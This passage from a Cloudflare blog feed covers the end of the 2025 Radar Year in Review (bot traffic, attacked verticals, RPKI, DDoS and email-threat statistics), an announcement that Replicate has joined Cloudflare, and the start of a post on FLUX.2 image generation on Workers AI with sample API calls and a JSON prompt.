    <p>A <a href="https://developers.cloudflare.com/bots/concepts/bot/"><u>bot</u></a> is a software application programmed to do certain tasks, and Cloudflare uses advanced <a href="https://blog.cloudflare.com/bots-heuristics/"><u>heuristics</u></a> to differentiate between bot traffic and human traffic, <a href="https://developers.cloudflare.com/bots/concepts/bot-score/"><u>scoring</u></a> each request on the likelihood that it originates from a bot or a human user. By monitoring traffic suspected to be from bots, site and application owners can spot and, if necessary, block potentially malicious activity. However, not all bots are malicious — bots can also be helpful, and Cloudflare maintains a <a href="https://radar.cloudflare.com/bots/directory?kind=all"><u>directory of verified bots</u></a> that includes those used for things like <a href="https://radar.cloudflare.com/bots/directory?category=SEARCH_ENGINE_CRAWLER&amp;kind=all"><u>search engine indexing</u></a>, <a href="https://radar.cloudflare.com/bots/directory?category=SECURITY&amp;kind=all"><u>security scanning</u></a>, and <a href="https://radar.cloudflare.com/bots/directory?category=MONITORING_AND_ANALYTICS&amp;kind=all"><u>site/application monitoring</u></a>. Regardless of intent, we analyzed <a href="https://radar.cloudflare.com/year-in-review/2025/#bot-traffic-sources"><u>where bot traffic was originating from in 2025</u></a>, using the IP address of a request to identify the network (<a href="https://www.cloudflare.com/learning/network-layer/what-is-an-autonomous-system/"><u>autonomous system</u></a>) and country/region associated with the bot making the request. </p><p>Globally, the top 10 countries/regions accounted for 71% of observed bot traffic. Forty percent originated from the United States, far ahead of Germany’s 6.5% share. The US share was up over five percentage points <a href="https://radar.cloudflare.com/year-in-review/2024#bot-traffic-sources"><u>from 2024</u></a>, while Germany’s share was down a fraction of a percentage point. The remaining countries in the top 10 all contributed bot traffic shares below 5% in 2025.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/29tI5aXT8HeRwmzHMyFaTt/0081d745e48499966611a4d2f3a14f2e/BLOG-3077_54_-_security-bottraffic-countries.png" />
          </figure><p><sup><i>Global bot traffic distribution by source country/region in 2025</i></sup></p><p>Looking at bot traffic by network, we found that cloud platforms remained among the leading sources. This is due to a number of factors, including the ease of using automated tools to quickly provision compute resources, their relatively low cost, their broadly distributed geographic footprints, and the platforms’ high-bandwidth Internet connectivity. </p><p>Two autonomous systems associated with Amazon Web Services accounted for a total of 14.4% of observed bot traffic, and two associated with Google Cloud were responsible for a combined 9.7% of bot traffic. They were followed by Microsoft Azure, which originated 5.5% of bot traffic. The shares from all three platforms were up as compared to 2024. These cloud platforms have a strong regional data center presence in many of the countries/regions in the top 10. Elsewhere, around the world, local telecommunications providers frequently accounted for the largest shares of automated bot traffic observed in those countries/regions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3NCt3TgkYWbl9cQmZH2QZW/3ed0e512bdff74025dd34744b989dc41/BLOG-3077_55_-_security-bottraffic-asns.png" />
          </figure><p><sup><i>Global bot traffic distribution by source network in 2025</i></sup></p>
    <div>
      <h3>Organizations in the "People and Society” vertical were the most targeted during 2025</h3>
      <a href="#organizations-in-the-people-and-society-vertical-were-the-most-targeted-during-2025">
        
      </a>
    </div>
    <p>Attackers are constantly shifting their tactics and targets, mixing things up in an attempt to evade detection, or based on the damage they intend to cause. They may try to cause financial harm to businesses by targeting ecommerce sites during a busy shopping period, make a political statement by attacking government-related or civil society sites, or attempt to knock opponents offline by attacking a game server. To identify vertical-targeted attack activity during 2025, we analyzed mitigated traffic for customers that had an associated industry and vertical within their customer record. Mitigated traffic was aggregated weekly by source country/region across 17 target verticals.</p><p>Organizations in the "People and Society” vertical were the <a href="https://radar.cloudflare.com/year-in-review/2025/#most-attacked-industries"><u>most targeted across the year</u></a>, with 4.4% of global mitigated traffic targeting the vertical. Customers classified as “People and Society” include religious institutions, nonprofit organizations, civic &amp; social organizations, and libraries. The vertical started out the year with under 2% of mitigated traffic, but saw the share jump to 10% the week of March 5, and increase to over 17% by the end of the month. Other attack surges targeting these sites occurred in late April (to 19.1%) and early July (to 23.2%). Many of these types of organizations are protected by Cloudflare’s Project Galileo, and <a href="https://blog.cloudflare.com/celebrating-11-years-of-project-galileo-global-impact/"><u>this blog post</u></a> details the attacks and threats they experienced in 2024 and 2025.</p><p>Gambling/Games, the <a href="https://radar.cloudflare.com/year-in-review/2024#most-attacked-industries"><u>most-targeted vertical last year</u></a>, saw its share of mitigated attacks drop by more than half year-over-year, to just 2.6%. While one might expect to see attacks targeting gambling sites peak around major sporting events like the Super Bowl and March Madness, such a trend was not evident, as attack share peaked at 6.5% the week of March 5 — a month after the Super Bowl, and a couple of weeks before the start of March Madness.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6HqH4NQhC77KEgh1Z3tJDw/a9787f0913ad8160607a1cb21de6347a/BLOG-3077_56_-_security-mostattackedverticals.png" />
          </figure><p><sup><i>Global mitigated traffic share by vertical in 2025, summary view</i></sup></p>
    <div>
      <h3>Routing security, measured as the shares of RPKI valid routes and covered IP address space, saw continued improvement throughout 2025</h3>
      <a href="#routing-security-measured-as-the-shares-of-rpki-valid-routes-and-covered-ip-address-space-saw-continued-improvement-throughout-2025">
        
      </a>
    </div>
    <p><a href="https://www.cloudflare.com/learning/security/glossary/what-is-bgp/"><u>Border Gateway Protocol (BGP)</u></a> is the Internet’s core routing protocol, enabling traffic to flow between source and destination by communicating routes between networks. However, because it relies on trust between connected networks, incorrect information shared between peers (intentionally or not) can send traffic to the wrong place — potentially to <a href="https://blog.cloudflare.com/bgp-leaks-and-crypto-currencies/"><u>systems under control of an attacker</u></a>. To address this, <a href="https://blog.cloudflare.com/rpki/"><u>Resource Public Key Infrastructure (RPKI)</u></a> was developed as a cryptographic method of signing records that associate a BGP route announcement with the correct originating autonomous system (AS) number to ensure that the information being shared originally came from a network that is allowed to do so. Cloudflare has been a vocal advocate for routing security, including as a founding participant in the <a href="https://www.internetsociety.org/news/press-releases/2020/leading-cdn-and-cloud-providers-join-manrs-to-improve-routing-security/"><u>MANRS CDN and Cloud Programme</u></a> and by providing a <a href="https://isbgpsafeyet.com/"><u>public tool</u></a> that enables users to test whether their Internet provider has implemented BGP safely. </p><p>We analyzed data available on Cloudflare Radar’s <a href="https://radar.cloudflare.com/routing"><u>Routing page</u></a> to determine the share of <a href="https://rpki.readthedocs.io/en/latest/about/help.html"><u>RPKI valid routes</u></a> and how that share changed throughout 2025, as well as determining the <a href="https://radar.cloudflare.com/year-in-review/2025/#routing-security"><u>share of IP address space covered by valid routes</u></a>. The latter metric is noteworthy because a route announcement covering a large amount of IP address space (millions of IPv4 addresses) has a greater potential impact than an announcement covering a small block of IP address space (hundreds of IPv4 addresses).</p><p>We started 2025 with 50% valid IPv4 routes, growing to 53.9% by December 2. The share of valid IPv6 routes increased to 60.1%, up 4.7 percentage points. Looking at the global share of IP address space covered by valid routes, IPv4 increased to 48.5%, a three percentage point increase. The share of IPv6 address space covered by valid routes fell slightly to 61.6%. Although the year-over-year changes for these metrics are slowing, we have made significant progress over the last five years. Since the start of 2020, the share of RPKI valid IPv4 routes and IPv4 address space have both grown by approximately 3x.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4EtRqY7MgRKLxjsLIlNuis/013b3bf92c6d3b173cd8086b1ff370c4/BLOG-3077_57_-_security-routingsecurity-routes.png" />
          </figure><p><sup><i>Shares of global RPKI valid routing entries by IP version in 2025</i></sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3JEv5ViM6qYdYxSzE6sbYD/4f89f5acbd2aeef55562fbee63dd2f07/BLOG-3077_58_-_security-routingsecurity-addressspace.png" />
          </figure><p><sup><i>Shares of globally announced IP address space covered by RPKI valid routes in 2025</i></sup></p><p><a href="https://radar.cloudflare.com/year-in-review/2025/bb#routing-security"><u>Barbados</u></a> saw the biggest growth in the share of valid IPv4 routes, growing from 2.2% to 20.8%. Looking at valid IPv6 routes, <a href="https://radar.cloudflare.com/year-in-review/2025/ml#routing-security"><u>Mali</u></a> saw the most significant share growth in 2025, from 10.0% to 58.3%. </p><p>Barbados also experienced the biggest increase in the share of IPv4 space covered by valid routes, jumping from just 2.0% to 18.6%. For IPv6 address space, both <a href="https://radar.cloudflare.com/year-in-review/2025/tj#routing-security"><u>Tajikistan</u></a> and <a href="https://radar.cloudflare.com/year-in-review/2025/dm#routing-security"><u>Dominica</u></a> went from having effectively no space covered by valid routes at the start of the year, to 5.5% and 3.5% respectively. </p>
    <div>
      <h3>Hyper-volumetric DDoS attack sizes grew significantly throughout the year </h3>
      <a href="#hyper-volumetric-ddos-attack-sizes-grew-significantly-throughout-the-year">
        
      </a>
    </div>
    <p>In our quarterly DDoS Report series (<a href="https://blog.cloudflare.com/ddos-threat-report-for-2025-q1/"><u>Q1</u></a>, <a href="https://blog.cloudflare.com/ddos-threat-report-for-2025-q2/"><u>Q2</u></a>, <a href="https://blog.cloudflare.com/ddos-threat-report-2025-q3/"><u>Q3</u></a>), we have highlighted the increasing frequency and size of hyper-volumetric network layer attacks targeting Cloudflare customers and Cloudflare’s infrastructure. We define a “hyper-volumetric network layer attack” as one that operates at Layer 3/4 and that peaks at more than one terabit per second (1 Tbps) or more than one billion packets per second (1 Bpps). These reports provide a quarterly perspective, but we also wanted to <a href="https://radar.cloudflare.com/year-in-review/2025/#ddos-attacks"><u>show a view of activity across the year</u></a> to understand when attackers are most active, and how attack sizes have grown over time. </p><p>Looking at hyper-volumetric attack activity in 2025 from a Tbps perspective, July saw the largest number of such attacks, at over 500, while February saw the fewest, at just over 150. Attack intensity remained generally below 5 Tbps, although a 10 Tbps attack blocked at the end of August was a harbinger of things to come. This attack was the first of a campaign of &gt;10 Tbps attacks that took place during the first week of September, ahead of a series of &gt;20 Tbps attacks during the last week of the month. In early October, multiple increasingly larger hyper-volumetric attacks were observed, with the largest for the month <a href="https://blog.cloudflare.com/ddos-threat-report-2025-q3/#aisuru-breaking-records-with-ultrasophisticated-hyper-volumetric-ddos-attacks"><u>peaking at 29.7 Tbps</u></a>. However, that record was soon eclipsed, as an early November attack reached 31.4 Tbps.</p><p>From a Bpps perspective, hyper-volumetric attack activity was much lower, with November experiencing the most (over 140), while just three were seen in February and June. Attack intensity across the year generally remained below 4 Bpps through late August, though a succession of increasingly larger attacks were seen over the next several months, peaking in October. Although the intensity of most of the 110+ attacks blocked in October was below 5 Bpps, a 14 Bpps attack seen during the month was the largest hyper-volumetric attack by packets per second blocked during the year, besting five other successive record-setting attacks that occurred in September.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5q4Ruw6z07JUGXF6FsZMTv/414a388b7f10eff0940a460e1356e938/BLOG-3077_59_-_security-hypervolumetricddos.png" />
          </figure><p><sup><i>Peak DDoS attack sizes in 2025</i></sup></p>
    <div>
      <h2>Email security</h2>
      <a href="#email-security">
        
      </a>
    </div>
    
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1mchtw8EWCzTpDs3K4jQ1A/3b740b7facca7869a4a191808e94ef45/BLOG-3077_60_-_image12.png" />
          </figure>
    <div>
      <h3>More than 5% of email messages analyzed by Cloudflare were found to be malicious</h3>
      <a href="#more-than-5-of-email-messages-analyzed-by-cloudflare-were-found-to-be-malicious">
        
      </a>
    </div>
    <p><a href="https://www.signite.io/emails-are-still-king"><u>Recent statistics</u></a> suggest that email remains the top communication channel for external business contact, despite the growing enterprise use of collaboration/messaging apps. Given its broad enterprise usage, attackers still find it to be an attractive entry point into corporate networks. Generative AI tools <a href="https://blog.cloudflare.com/dispelling-the-generative-ai-fear-how-cloudflare-secures-inboxes-against-ai-enhanced-phishing/"><u>make it easier</u></a> to craft highly targeted malicious emails that convincingly impersonate trusted brands or legitimate senders (like corporate executives) but contain deceptive links, dangerous attachments, or other types of threats. <a href="https://www.cloudflare.com/zero-trust/products/email-security/"><u>Cloudflare Email Security</u></a> protects customers from email-based attacks, including those carried out through targeted malicious email messages. </p><p>In 2025, an <a href="https://radar.cloudflare.com/year-in-review/2025/#malicious-emails"><u>average of 5.6% of emails analyzed by Cloudflare were found to be malicious</u></a>. The share of messages processed by Cloudflare Email Security that were found to be malicious generally ranged between 4% and 6% throughout most of the year. Our data shows a jump in malicious email share starting in October, likely due to an improved classification system implemented by Cloudflare Email Security.  </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/422qqM5R83j6IkdbWdasYR/696a68ded36a67dba1b73e045ab5bb28/BLOG-3077_61_-_emailsecurity-maliciousemailpercentage.png" />
          </figure><p><sup><i>Global malicious email share trends in 2025</i></sup></p>
    <div>
      <h3>Deceptive links, identity deception, and brand impersonation were the most common types of threats found in malicious email messages</h3>
      <a href="#deceptive-links-identity-deception-and-brand-impersonation-were-the-most-common-types-of-threats-found-in-malicious-email-messages">
        
      </a>
    </div>
    <p>Deceptive links were the <a href="https://radar.cloudflare.com/year-in-review/2025/#top-email-threats"><u>top malicious email threat category in 2025</u></a>, found in 52% of messages, up from <a href="https://radar.cloudflare.com/year-in-review/2024#top-email-threats"><u>43% in 2024</u></a>. Since the display text for a hyperlink in HTML can be arbitrarily set, attackers can make a URL appear as if it links to a benign site when, in fact, it is actually linking to a malicious resource that can be used to steal login credentials or download malware. The share of processed emails containing deceptive links was as high as 70% in late April, and again in mid-November.</p><p>Identity deception occurs when an attacker sends an email claiming to be someone else. They may do this using domains that look similar, are spoofed, or use display name tricks to appear to be coming from a trusted domain. Brand impersonation is a form of identity deception where an attacker sends a phishing message that impersonates a recognizable company or brand. Brand impersonation may also use display name spoofing or domain impersonation. Identity deception (38%) and brand impersonation (32%) were growing threats in 2025, up from 35% and 23% respectively in 2024. Both saw an increase in mid-November.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1sq7v5IqOTPZZ5DwCnr8Mv/762e5bd4dda4c34475ffb5507898a08a/BLOG-3077_62_-_emailsecurity-maliciousemail-threatcategory.png" />
          </figure><p><sup><i>Email threat category trends in 2025, worldwide</i></sup></p>
    <div>
      <h3>Nearly all of the email messages from the .christmas and .lol Top Level Domains were found to be either spam or malicious</h3>
      <a href="#nearly-all-of-the-email-messages-from-the-christmas-and-lol-top-level-domains-were-found-to-be-either-spam-or-malicious">
        
      </a>
    </div>
    <p>In addition to providing traffic, geographic distribution, and digital certificate insights for Top Level Domains (TLDs) like <a href="https://radar.cloudflare.com/tlds/com"><u>.com</u></a> or <a href="https://radar.cloudflare.com/tlds/us"><u>.us</u></a>, Cloudflare Radar also provides insights into the <a href="https://radar.cloudflare.com/security/email#most-abused-tlds"><u>“most abused” TLDs</u></a> – those with domains that we have found are originating the largest shares of malicious and spam email among messages analyzed by Cloudflare Email Security. The analysis is based on the sending domain’s TLD, found in the From: header of an email message. For example, if a message came from sender@example.com, then example.com is the sending domain, and .com is the associated TLD. For the Year in Review analysis, we only included TLDs from which we saw an average minimum of 30 messages per hour.</p><p>Based on <a href="https://radar.cloudflare.com/year-in-review/2025/#most-abused-tlds"><u>messages analyzed throughout 2025</u></a>, we found that <a href="https://radar.cloudflare.com/tlds/christmas"><u>.christmas</u></a> and <a href="https://radar.cloudflare.com/tlds/lol"><u>.lol</u></a> were the most abused TLDs, with 99.8% and 99.6% of messages from these TLDs respectively characterized as either spam or malicious. Sorting the list of TLDs by malicious email share, <a href="https://radar.cloudflare.com/tlds/cfd"><u>.cfd</u></a> and <a href="https://radar.cloudflare.com/tlds/sbs"><u>.sbs</u></a> both had more than 90% of analyzed emails categorized as malicious. The <a href="https://radar.cloudflare.com/tlds/best"><u>.best</u></a> TLD was the worst in terms of spam email share, with 69% of email messages characterized as spam.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/tTPjf9VkDFDnzaKCUXE9y/93e88ce8e7f65ef6373308f805b0219f/BLOG-3077_63_-_emailsecurity-maliciousemail-mostabusedtlds.png" />
          </figure><p><sup><i>TLDs originating the largest total shares of malicious and spam email in 2025</i></sup></p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Although the Internet and the Web continue to evolve and change over time, it appears that some of the key metrics have become fairly stable. However, we expect that others, such as those metrics tracking AI trends, will shift over the coming years as that space evolves at a rapid pace. </p><p>We encourage you to visit the <a href="https://radar.cloudflare.com/year-in-review/2025"><u>Cloudflare Radar 2025 Year In Review microsite</u></a> and explore the trends for your country/region, and consider how they impact your organization as you plan for 2026. You can also get near real-time insight into many of these metrics and trends on <a href="https://radar.cloudflare.com/"><u>Cloudflare Radar</u></a>. And as noted above, for insights into the top Internet services across multiple industry categories and countries/regions, we encourage you to read the <a href="https://blog.cloudflare.com/radar-2025-year-in-review-internet-services/"><u>companion Year in Review blog post</u></a>.</p><p>If you have any questions, you can contact the Cloudflare Radar team at <a><u>radar@cloudflare.com</u></a> or on social media at <a href="https://twitter.com/CloudflareRadar"><u>@CloudflareRadar</u></a> (X), <a href="https://noc.social/@cloudflareradar"><u>https://noc.social/@cloudflareradar</u></a> (Mastodon), and <a href="https://bsky.app/profile/radar.cloudflare.com"><u>radar.cloudflare.com</u></a> (Bluesky).</p>
    <div>
      <h2>Acknowledgements</h2>
      <a href="#acknowledgements">
        
      </a>
    </div>
    <p>As the saying goes, it takes a village to make our annual Year in Review happen, from aggregating and analyzing the data, to creating the microsite, to developing associated content. I’d like to acknowledge those team members that contributed to this year’s effort, with thanks going out to: Jorge Pacheco, Sabina Zejnilovic, Carlos Azevedo, Mingwei Zhang, Sofia Cardita (data analysis); André Páscoa, Nuno Pereira (frontend development); João Tomé (Most Popular Internet Services); David Fidalgo, Janet Villarreal, and the internationalization team (translations); Jackie Dutton, Kari Linder, Guille Lasarte (Communications); Laurel Wamsley (blog editing); and Paula Tavares (Engineering Management), as well as other colleagues across Cloudflare for their support and assistance.</p> ]]></content:encoded>
            <category><![CDATA[Year in Review]]></category>
            <category><![CDATA[Radar]]></category>
            <category><![CDATA[Trends]]></category>
            <category><![CDATA[Internet Trends]]></category>
            <category><![CDATA[Internet Traffic]]></category>
            <category><![CDATA[Outage]]></category>
            <category><![CDATA[Internet Quality]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[AI]]></category>
            <guid isPermaLink="false">2Mp06VKep73rBpdUmywpQ2</guid>
            <dc:creator>David Belson</dc:creator>
        </item>
        <item>
            <title><![CDATA[Why Replicate is joining Cloudflare]]></title>
            <link>https://blog.cloudflare.com/why-replicate-joining-cloudflare/</link>
            <pubDate>Mon, 01 Dec 2025 06:00:00 GMT</pubDate>
            <description><![CDATA[ Today, we’re excited to announce that Replicate is officially part of Cloudflare. We wanted to share a bit about our journey and why we made this decision.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p></p><p>We're happy to announce that as of today Replicate is officially part of Cloudflare.</p><p>When we started Replicate in 2019, OpenAI had just open sourced GPT-2, and few people outside of the machine learning community paid much attention to AI. But for those of us in the field, it felt like something big was about to happen. Remarkable models were being created in academic labs, but you needed a metaphorical lab coat to be able to run them.</p><p>We made it our mission to get research models out of the lab into the hands of developers. We wanted programmers to creatively bend and twist these models into products that the researchers would never have thought of.</p><p>We approached this as a tooling problem. Just like tools like Heroku made it possible to run websites without managing web servers, we wanted to build tools for running models without having to understand backpropagation or deal with CUDA errors.</p><p>The first tool we built was <a href="https://github.com/replicate/cog"><u>Cog</u></a>: a standard packaging format for machine learning models. Then we built <a href="https://replicate.com/"><u>Replicate</u></a> as the platform to run Cog models as API endpoints in the cloud. We abstracted away both the low-level machine learning, and the complicated GPU cluster management you need to run inference at scale.</p><p>It turns out the timing was just right. When <a href="https://replicate.com/stability-ai/stable-diffusion"><u>Stable Diffusion</u></a> was released in 2022 we had mature infrastructure that could handle the massive developer interest in running these models. A ton of fantastic apps and products were built on Replicate, apps that often ran a single model packaged in a slick UI to solve a particular use case.</p><p>Since then, <a href="https://www.latent.space/p/ai-engineer"><i><u>AI Engineering</u></i></a> has matured into a serious craft. AI apps are no longer just about running models. The modern AI stack has model inference, but also microservices, content delivery, <a href="https://www.cloudflare.com/learning/cloud/what-is-object-storage/">object storage</a>, caching, databases, telemetry, etc. We see many of our customers building complex heterogenous stacks where the Replicate models are one part of a higher-order system across several platforms.</p><p><i>This is why we’re joining Cloudflare</i>. Replicate has the tools and primitives for running models. Cloudflare has the best network, Workers, <a href="https://www.cloudflare.com/developer-platform/products/r2/">R2</a>, Durable Objects, and all the other primitives you need to build a full AI stack.</p><p>The AI stack lives entirely on the network. Models run on data center GPUs and are glued together by small cloud functions that call out to vector databases, fetch objects from blob storage, call MCP servers, etc. “<a href="https://blog.cloudflare.com/the-network-is-the-computer/"><u>The network is the computer</u></a>” has never been more true.</p><p>At Cloudflare, we’ll now be able to build the AI infrastructure layer we have dreamed of since we started. We’ll be able to do things like run fast models on the edge, run model pipelines on instantly-booting Workers, stream model inputs and outputs with WebRTC, etc.</p><p>We’re proud of what we’ve built at Replicate. We were the first generative AI serving platform, and we defined the abstractions and design patterns that most of our peers have adopted. We’ve grown a wonderful community of builders and researchers around our product.</p> ]]></content:encoded>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Workers AI]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Acquisitions]]></category>
            <guid isPermaLink="false">3KkAemgmCHkd0D9QW5qTnz</guid>
            <dc:creator>Andreas Jansson</dc:creator>
            <dc:creator>Ben Firshman</dc:creator>
        </item>
        <item>
            <title><![CDATA[Partnering with Black Forest Labs to bring FLUX.2 [dev] to Workers AI]]></title>
            <link>https://blog.cloudflare.com/flux-2-workers-ai/</link>
            <pubDate>Tue, 25 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[ FLUX.2 [dev] by Black Forest Labs is now on Workers AI! This advanced open-weight image model offers superior photorealism, multi-reference inputs, and granular control with JSON prompting. ]]></description>
            <content:encoded><![CDATA[ <p>In recent months, we’ve seen a leap forward for closed-source image generation models with the rise of <a href="https://gemini.google/overview/image-generation/"><u>Google’s Nano Banana</u></a> and <a href="https://openai.com/index/image-generation-api/"><u>OpenAI image generation models</u></a>. Today, we’re happy to share that a new open-weight contender is back with the launch of Black Forest Lab’s FLUX.2 [dev] and available to run on Cloudflare’s inference platform, Workers AI. You can read more about this new model in detail on BFL’s blog post about their new model launch <a href="https://bfl.ai/blog/flux-2"><u>here</u></a>. </p><p>We have been huge fans of Black Forest Lab’s FLUX image models since their earliest versions. Our hosted version of FLUX.1 [schnell] is one of the most popular models in our catalog for its photorealistic outputs and high-fidelity generations. When the time came to host the licensed version of their new model, we jumped at the opportunity. The FLUX.2 model takes all the best features of FLUX.1 and amps it up, generating even more realistic, grounded images with added customization support like JSON prompting.</p><p>Our Workers AI hosted version of FLUX.2 has some specific patterns, like using multipart form data to support input images (up to 4 512x512 images), and output images up to 4 megapixels. The multipart form data format allows users to send us multiple image inputs alongside the typical model parameters. Check out our <a href="https://developers.cloudflare.com/changelog/2025-11-25-flux-2-dev-workers-ai/"><u>developer docs changelog announcement</u></a> to understand how to use the FLUX.2 model.</p>
    <div>
      <h2>What makes FLUX.2 special? Physical world grounding, digital world assets, and multi-language support</h2>
      <a href="#what-makes-flux-2-special-physical-world-grounding-digital-world-assets-and-multi-language-support">
        
      </a>
    </div>
    <p>The FLUX.2 model has a more robust understanding of the physical world, allowing you to turn abstract concepts into photorealistic reality. It excels at generating realistic image details and consistently delivers accurate hands, faces, fabrics, logos, and small objects that are often missed by other models. Its knowledge of the physical world also generates life-like lighting, angles and depth perception.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3tOCj8UT98MbcvlXFe8EMl/ad6d94d8b4713453dcd2455a9a3ad331/image3.png" />
          </figure><p><sup>Figure 1. Image generated with FLUX.2 featuring accurate lighting, shadows, reflections and depth perception at a café in Paris.</sup></p><p>This high-fidelity output makes it ideal for applications requiring superior image quality, such as creative photography, e-commerce product shots, marketing visuals, and interior design. Because it can understand context, tone, and trends, the model allows you to create engaging and editorial-quality digital assets from short prompts.</p><p>Aside from the physical world, the model is also able to generate high-quality digital assets such as designing landing pages or generating detailed infographics (see below for example). It’s also able to understand multiple languages naturally, so combining these two features – we can get a beautiful landing page in French from a French prompt.</p>
            <pre><code>Générer une page web visuellement immersive pour un service de promenade de chiens. L'image principale doit dominer l'écran, montrant un chien exubérant courant dans un parc ensoleillé, avec des touches de vert vif (#2ECC71) intégrées subtilement dans le feuillage ou les accessoires du chien. Minimiser le texte pour un impact visuel maximal.</code></pre>
            
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3C9EEp5jsISYMrOsC4NKb/12e0630b51334feb02a5be805e767d08/image8.png" />
          </figure>
    <div>
      <h2>Character consistency – solving for stochastic drift</h2>
      <a href="#character-consistency-solving-for-stochastic-drift">
        
      </a>
    </div>
    <p>FLUX.2 offers multi-reference editing with state-of-the-art character consistency, ensuring identities, products, and styles remain consistent for tasks. In the world of generative AI, getting a high-quality image is easy. However, getting the <i>exact same</i> character or product twice has always been the hard part. This is a phenomenon known as "stochastic drift", where generated images drift away from the original source material.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/58T8pavXCsWneWxEDfKgte/a821df53fa3a86d577dd72e3c285fe8a/image9.png" />
          </figure><p><sup>Figure 2. Stochastic drift infographic (generated on FLUX.2)</sup></p><p>One of FLUX.2’s<b> </b>breakthroughs is multi-reference image inputs designed to solve this consistency challenge. You’ll have the ability to change the background, lighting, or pose of an image without accidentally changing the face of your model or the design of your product. You can also reference other images or combine multiple images together to create something new. </p><p>In code, Workers AI supports multi-reference images (up to 4) with a multipart form-data upload. The image inputs are binary images and output is a base64 encoded image:</p>
            <pre><code>curl --request POST \
  --url 'https://api.cloudflare.com/client/v4/accounts/{ACCOUNT}/ai/run/@cf/black-forest-labs/flux-2-dev' \
  --header 'Authorization: Bearer {TOKEN}' \
  --header 'Content-Type: multipart/form-data' \
  --form 'prompt=take the subject of image 2 and style it like image 1' \
  --form input_image_0=@/Users/johndoe/Desktop/icedoutkeanu.png \
  --form input_image_1=@/Users/johndoe/Desktop/me.png \
  --form steps=25
  --form width=1024
  --form height=1024</code></pre>
            <p>We also support this through the Workers AI Binding:</p>
            <pre><code>const image = await fetch("http://image-url");
const form = new FormData();
 
const image_blob = await streamToBlob(image.body, "image/png");
form.append('input_image_0', image_blob)
form.append('prompt', 'a sunset with the dog in the original image')
 
const resp = await env.AI.run("@cf/black-forest-labs/flux-2-dev", {
    multipart: {
        body: form,
        contentType: "multipart/form-data"
    }
})</code></pre>
            
    <div>
      <h3>Built for real world use cases</h3>
      <a href="#built-for-real-world-use-cases">
        
      </a>
    </div>
    <p>The newest image model signifies a shift towards functional business use cases, moving beyond simple image quality improvements. FLUX.2 enables you to:</p><ul><li><p><b>Create Ad Variations:</b> Generate 50 different advertisements using the exact same actor, without their face morphing between frames.</p></li><li><p><b>Trust Your Product Shots:</b> Drop your product on a model, or into a beach scene, a city street, or a studio table. The environment changes, but your product stays accurate.</p></li><li><p><b>Build Dynamic Editorials:</b> Produce a full fashion spread where the model looks identical in every single shot, regardless of the angle.</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Me4jErrBPSW7kAx8qecId/22b2c98a8661489ebe45188cb7947381/image6.png" />
          </figure><p><sup>Figure 3. Combining the oversized hoodie and sweatpant ad photo (generated with FLUX.2) with Cloudflare’s logo to create product renderings with consistent faces, fabrics, and scenery. **</sup><sup><i>Note: we prompted for white Cloudflare font as well instead of the original black font. </i></sup></p>
    <div>
      <h2>Granular controls — JSON prompting, HEX codes and more!</h2>
      <a href="#granular-controls-json-prompting-hex-codes-and-more">
        
      </a>
    </div>
    <p>The FLUX.2 model makes another advancement by allowing users to control small details in images through tools like JSON prompting and specifying specific hex codes.</p><p>For example, you could send this JSON as a prompt (as part of the multipart form input) and the resulting image follows the prompt exactly:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5hnd2lQHC8kqKGbEFqdsgb/de72f15c9e3ede2fcfa717c013a4cba4/image4.jpg" />
          </figure>
            <pre><code>{
  "scene": "A bustling, neon-lit futuristic street market on an alien planet, rain slicking the metal ground",
  "subjects": [
    {
      "type": "Cyberpunk bounty hunter",
      "description": "Female, wearing black matte armor with glowing blue trim, holding a deactivated energy rifle, helmet under her arm, rain dripping off her synthetic hair",
      "pose": "Standing with a casual but watchful stance, leaning slightly against a glowing vendor stall",
      "position": "foreground"
    },
    {
      "type": "Merchant bot",
      "description": "Small, rusted, three-legged drone with multiple blinking red optical sensors, selling glowing synthetic fruit from a tray attached to its chassis",
      "pose": "Hovering slightly, offering an item to the viewer",
      "position": "midground"
    }
  ],
  "style": "noir sci-fi digital painting",
  "color_palette": [
    "deep indigo",
    "electric blue",
    "acid green"
  ],
  "lighting": "Low-key, dramatic, with primary light sources coming from neon signs and street lamps reflecting off wet surfaces",
  "mood": "Gritty, tense, and atmospheric",
  "background": "Towering, dark skyscrapers disappearing into the fog, with advertisements scrolling across their surfaces, flying vehicles (spinners) visible in the distance",
  "composition": "dynamic off-center",
  "camera": {
    "angle": "eye level",
    "distance": "medium close-up",
    "focus": "sharp on subject",
    "lens": "35mm",
    "f-number": "f/1.4",
    "ISO": 400
  },
  "effects": [
    "heavy rain effect",
    "subtle film grain",
    "neon light reflections",
    "mild chromatic aberration"
  ]
}</code></pre>
            <p>To take it further, we can ask the model to recolor the accent lighting to a Cloudflare orange by giving it a specific hex code like #F48120.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/79EL6Y3YGu8PqvWauHyqzh/29684aa0f4bb9b4306059e1634b5b94c/image1.jpg" />
          </figure>
    <div>
      <h2>Try it out today!</h2>
      <a href="#try-it-out-today">
        
